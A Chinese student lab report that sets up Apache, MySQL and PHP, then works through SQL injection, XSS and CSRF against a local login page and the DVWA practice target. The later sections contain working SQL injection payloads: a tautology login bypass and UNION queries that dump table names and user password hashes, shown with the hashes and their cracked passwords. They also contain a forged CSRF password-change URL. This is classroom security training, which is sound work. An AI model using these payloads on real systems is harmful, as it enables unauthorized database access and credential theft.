1.實驗內容
(1)Web前端HTML
能正常安裝、啟停Apache。理解HTML，理解表單，理解GET與POST方法，編寫一個含有表單的HTML。
(2)Web前端javascipt
理解JavaScript的基本功能，理解DOM。
在（1）的基礎上，編寫JavaScript驗證使用者名稱、密碼的規則。在使用者點選登陸按鈕後回顯“歡迎+輸入的使用者名稱”
嘗試注入攻擊：利用回顯使用者名稱注入HTML及JavaScript。
(3)Web後端：MySQL基礎：正常安裝、啟動MySQL，建庫、建立使用者、修改密碼、建表
(4)Web後端：編寫PHP網頁，連線資料庫，進行使用者認證
(5)最簡單的SQL隱碼攻擊，XSS攻擊測試
(6)安裝DVWA或WebGoat平臺，並完成SQL隱碼攻擊、XSS、CSRF攻擊。
2.實驗過程
2.1 Web前端HTML
2.1.1 Apache的安裝和啟停
輸入命令apt-get install apache2安裝apache
輸入命令sudo service apache2 start啟動apache服務
輸入命令systemctl status apache2檢視apache服務狀態,可以看到apache正常執行
輸入命令netstat -aptn可以看到apache佔用了80埠
瀏覽器開啟127.0.0.1可以看到apache的預設網頁，啟動成功
輸入命令systemctl stop apache2關閉apache服務
再輸入命令systemctl status apache2檢視apache服務狀態,可以看到apache停止執行，關閉成功
2.1.2 理解HTML，理解表單，理解GET與POST方法
（1）HTML（超文字標記語言）
HTML是用於構建網頁的標準標記語言。它透過標籤（Tags）和屬性（Attributes）來描述網頁的結構和內容。每個HTML文件通常由一個元素組成，包含頭部資訊（）和網頁主體（）。
（2）HTML表單（Forms）
HTML表單是用來收集使用者輸入的一個重要元素。表單通常包含多個表單控制元件，如文字框、單選按鈕、核取方塊、下拉選單等，使用者透過這些控制元件填寫資訊。
（3）GET與POST方法
在Web開發中，GET和POST是兩種最常用的HTTP請求方法，它們用於從客戶端（瀏覽器）向伺服器傳送資料。
①GET請求
GET是HTTP協議中的一種請求方法。當客戶端（如瀏覽器）向伺服器傳送GET請求時，它會將請求引數附加在URL後面。
GET請求主要用於從伺服器獲取資源。比如，當瀏覽器請求一個網頁（HTML檔案）、一張圖片、一個樣式表（CSS檔案）或者一段指令碼（JavaScript檔案）時，通常會使用GET請求。這些資源是伺服器根據客戶端請求的URL來定位並返回的。
優點：簡單直觀：由於引數直接在URL中顯示，所以對於簡單的查詢操作，如獲取文章列表、搜尋結果等，開發人員和使用者都能很容易地理解請求的意圖和引數內容。
可被快取：GET請求的結果可以被瀏覽器和一些中間代理伺服器快取。這意味著如果使用者多次請求相同的資源（如一個經常訪問的網頁），瀏覽器可以直接從快取中獲取資料，而不必每次都向伺服器傳送請求，從而提高了訪問速度和效能。
可新增書籤：因為GET請求的完整資訊都在URL中，使用者可以將包含GET請求的URL新增到書籤中。當使用者再次訪問書籤時，瀏覽器會傳送相同的GET請求來獲取資源。
缺點：安全性較低：由於請求引數暴露在URL中，敏感資訊（如密碼、賬號等）不應該透過GET請求傳遞。
引數長度有限制：不同的瀏覽器和伺服器對GET請求的URL長度有一定的限制。雖然這個限制沒有一個固定的標準，但一般來說，過長的URL可能會導致請求失敗。這就限制了GET請求能夠傳遞的引數數量和長度。例如，當需要傳遞大量的資料（如一個很長的文字內容）作為請求引數時，GET請求可能無法滿足需求。
不適合資料修改操作：GET請求主要用於獲取資料，按照HTTP協議的規範，它不應該用於修改伺服器上的資料。如果使用GET請求來修改資料，不符合語義規範，可能會導致一些不可預測的後果，並且在一些嚴格遵循RESTful架構的應用中是不被允許的。
②POST請求
POST也是HTTP協議中的一種請求方法。與GET請求不同，POST請求將資料作為請求體的一部分傳送給伺服器，而不是附加在URL上。
POST請求主要用於向伺服器提交資料，這些資料可以用於建立新的資源、更新現有資源或者執行一些需要在伺服器端進行處理的操作。
優點：安全性相對較高：因為POST請求的資料是放在請求體中，而不是在URL上，所以對於敏感資訊（如使用者登入密碼、信用卡資訊等）的傳輸相對更安全。
引數長度限制較寬鬆：POST請求對資料長度的限制通常比GET請求寬鬆得多。它可以傳送大量的資料，這使得它適合用於提交複雜的資料結構，如表單資料（包含多個欄位）、檔案上傳等操作。
適合資料修改操作：POST請求符合HTTP協議用於修改伺服器資源的語義規範。無論是建立新的資源（如在資料庫中插入一條新記錄）、更新現有資源（如修改使用者的個人資訊）還是刪除資源（如刪除購物車中的商品），POST請求都可以很好地勝任這些操作。
缺點:不可快取性：一般情況下，POST請求的結果不會被瀏覽器或中間代理伺服器快取。這是因為POST請求通常會對伺服器上的資料進行修改操作，每次請求的結果可能因資料的變化而不同。例如，使用者每次在一個論壇上釋出新帖子，由於帖子內容是不同的，所以不適合快取，這可能會導致每次請求都需要向伺服器傳送完整的請求，增加了伺服器的負載和網路流量。
不直觀：相比於GET請求，POST請求的資料在請求體中，開發人員和使用者不能直接從URL中看到請求的引數內容。這在除錯和排查問題時可能會比較麻煩，需要透過檢視請求體的內容來確定傳送的資料是否正確。
2.1.3 編寫一個含有表單的HTML
輸入命令cd /var/www/html切換目錄,再輸入命令touch 20222302.html建立一個html檔案
輸入命令vim 20222302.html對html檔案進行編輯
將程式碼貼上到檔案中
用瀏覽器開啟20222302.html
2.2 Web前端javascipt
2.2.1 理解JavaScript的基本功能，理解DOM
（1）JavaScript的基本功能
JavaScript是一種廣泛用於Web開發的程式語言，主要用於客戶端（瀏覽器端）指令碼程式設計。它的基本功能包括：
動態內容操作：JavaScript可以在頁面載入後動態更新網頁內容，如修改HTML元素、建立新的元素、刪除現有元素等。
事件處理：JavaScript可以響應使用者的操作（如點選按鈕、鍵盤輸入、滑鼠移動等），透過事件監聽器（event listener）觸發相應的程式碼。
表單驗證：可以透過JavaScript在表單提交之前驗證使用者輸入的內容，確保資料的合法性和完整性。
與伺服器互動：透過AJAX（Asynchronous JavaScript and XML），JavaScript可以與伺服器進行非同步資料互動，不需要重新載入整個頁面。
資料操作：JavaScript支援各種資料型別（如字串、數字、陣列、物件等）的操作，可以進行各種算術、邏輯、字串等計算。
（2）DOM（文件物件模型）
DOM（Document Object Model）是HTML和XML文件的程式設計介面，它提供了一種結構化的方式來訪問和操作頁面的內容、結構和樣式。DOM將網頁中的HTML元素和屬性抽象為物件，JavaScript可以透過DOM來訪問這些物件，並進行操作。
DOM的核心概念：
節點（Node）：DOM將網頁內容表示為一個節點樹。每個HTML元素、屬性、文字都被視為一個節點。節點型別包括元素節點、文字節點、屬性節點等。
元素節點（Element Node）：代表HTML標籤元素。
文字節點（Text Node）：包含HTML元素之間的文字內容。
屬性節點（Attribute Node）：代表HTML標籤的屬性，如id、class等。
常見DOM操作：
獲取元素：透過getElementById()、getElementsByClassName()、querySelector()等方法獲取頁面上的元素。
修改內容：透過innerHTML、textContent等屬性來改變元素的內容。
修改樣式：透過style屬性動態修改元素的CSS樣式。
新增/刪除元素：可以使用appendChild()、removeChild()等方法新增或刪除元素。
DOM的重要功能：
動態更新頁面內容：透過JavaScript和DOM，可以改變頁面的內容，而無需重新載入頁面。
互動性增強：JavaScript和DOM使得頁面可以響應使用者的操作，增強了網頁的互動性和動態性。
修改頁面結構和樣式：透過DOM，開發者可以動態地新增、刪除、修改頁面中的元素，以及修改元素的CSS樣式。
2.2.2 在（1）的基礎上，編寫JavaScript驗證使用者名稱、密碼的規則。在使用者點選登陸按鈕後回顯“welcome+輸入的使用者名稱”。
修改20222302.html的程式碼
新建welcome.html用來回顯“welcome+輸入的使用者名稱”。
修改檔案內容
重新用瀏覽器開啟20222302.html
只輸入使用者名稱
只輸入密碼
正確輸入後
2.2.3 嘗試注入攻擊：利用回顯使用者名稱注入HTML及JavaScript
在使用者名稱框中輸入即可完成sql注入攻擊
2.3 Web後端：MySQL基礎：正常安裝、啟動MySQL，建庫、建立使用者、修改密碼、建表
輸入命令service mysql start啟動MySQL
再輸入命令systemctl status mysql檢視MySQL狀態
輸入命令mysql -u root -p使用root登入，密碼為空
create database 20222302liuzeyi； 建立一個名為20222302liuzeyi的資料庫
create user 'liuzeyi'@'%' IDENTIFIED BY '20222302';建立一個名為liuzeyi的使用者，密碼為20222302，可以從任意主機登入
修改使用者liuzeyi密碼為2302：alter user 'liuzeyi'@'%' identified by'2302';
切換到資料庫20222302liuzeyi ：use 20222302liuzeyi；
建立一個名為user_login的表，包含欄位username和password：create table user_login(username VARCHAR(100),password VARCHAR(100));
向表裡插入資料：insert into user_login values('20222302','liuzeyi' );
檢視錶中資訊：select *from user_login;
2.4 Web後端：編寫PHP網頁，連線資料庫，進行使用者認證
建立php檔案並將程式碼複製到檔案中
將20222302.html中的 action 屬性指向處理登入驗證的 PHP 檔案
用瀏覽器開啟20222302.html
輸入正確的使用者名稱和密碼
輸入錯誤的使用者名稱和密碼，提示使用者名稱錯誤
2.5 最簡單的SQL隱碼攻擊，XSS攻擊測試
2.5.1 SQL隱碼攻擊
輸入使用者名稱為' or 1=1#，這是一個永真式，因此不管輸入密碼為什麼都會登陸成功。
2.5.2 XSS攻擊
2.6 安裝DVWA或WebGoat平臺，並完成SQL隱碼攻擊、XSS、CSRF攻擊。
2.6.1 安裝dvwa平臺
參考下載教程連結:https://blog.csdn.net/CheatMyself/article/details/139574116
安裝完成後在瀏覽器輸入localhost/dvwa/setup.php，出現下面介面：
2.6.2 完成SQL隱碼攻擊、XSS、CSRF攻擊
2.6.2.1 SQL injection
先判斷是否可以sql注入，輸入1' or '1'='1
發現可以進行SQL隱碼攻擊
下面獲取資料庫：'union select 1,database()#
獲得資料庫名為dvwa
獲取表名：'union select 1,group_concat(table_name)COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#
獲取表名為guestbook，user
接下來獲取列名：'union select 1,group_concat(column_name)COLLATE utf8_general_ci from information_schema.columns where table_name='users'#
進行資料下載：1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #
得到資料admine10adc3949ba59abbe56e057f20f883e,gordonbe99a18c428cb38d5f260853678922e03
對齊
admin e10adc3949ba59abbe56e057f20f883e
gordonb e99a18c428cb38d5f260853678922e03
將後面密碼放到md5解密分別為password和abc123
使用gordonb和abc123進行登入
發現登入成功
2.6.2.2 XSS（DOM）
點選select
在網址直接輸入
顯示成功
2.6.2.3 XSS（reflected）
在輸入框輸入
顯示成功
2.6.2.4 XSS （stored）
name有輸入長度限制且不能為空
所以在massage中輸入
顯示成功
2.6.2.5 CSRF
先輸入一個不一致的密碼，觀察頁面變化
可以看到url變化：http://localhost/dvwa/vulnerabilities/csrf/?password_new=ssdddd&password_conf=wwwwwww&Change=Change#
構造url：http://localhost/dvwa/vulnerabilities/csrf/?password_new=20222302&password_conf=20222302&Change=Change#
執行url後顯示Password Changed
3.問題及解決方案
問題1：出現PHP module gd: Missing - Only an issue if you want to play with captchas報錯
問題1解決方案：
apt install php-gd安裝php-gd
systemctl restart apache2重啟Apache2服務即可
重新整理介面，問題成功解決
問題2：出現reCAPTCHA key: Missing報錯
問題2解決方案：
cd /var/www/html/dvwa/config進入目錄
vim config.inc.php編輯檔案
將這兩串key輸入進去
public:6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb
private:6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K
systemctl restart apache2重啟Apache2服務即可
問題3：搭建DVWA靶場完成後進入頁面提示ERROR
問題3解決方案：參考教程https://blog.csdn.net/CheatMyself/article/details/139574116在phpstudy中搭建DVWA環境。
4.學習感悟、思考等
本次實驗內容較多，同時步驟也比較繁瑣，因此耗費時間很長。在本次實驗前沒有使用過DVWA靶場，因此在實驗中進行搭建。最初在kali中搭建但是出現了各種各樣的問題，在反覆的解決後發現此路行不通，因此在主機上透過在phpstudy環境下進行DVWA靶場搭建，相較kali上搭建要簡單得多。
透過本次實驗，我學會了基本的sql注入攻擊和xss攻擊，掌握了攻擊的原理。我理解了JavaScript的基本功能，並能夠獨立完成JavaScript的應用。
本次實驗讓我更加深刻的領悟到攻擊的簡單易行，同時也察覺到維護網路安全任重而道遠。未來，我將繼續努力提高自己的技術水平，同時也將更加註重維護好自己及他人的資訊保安。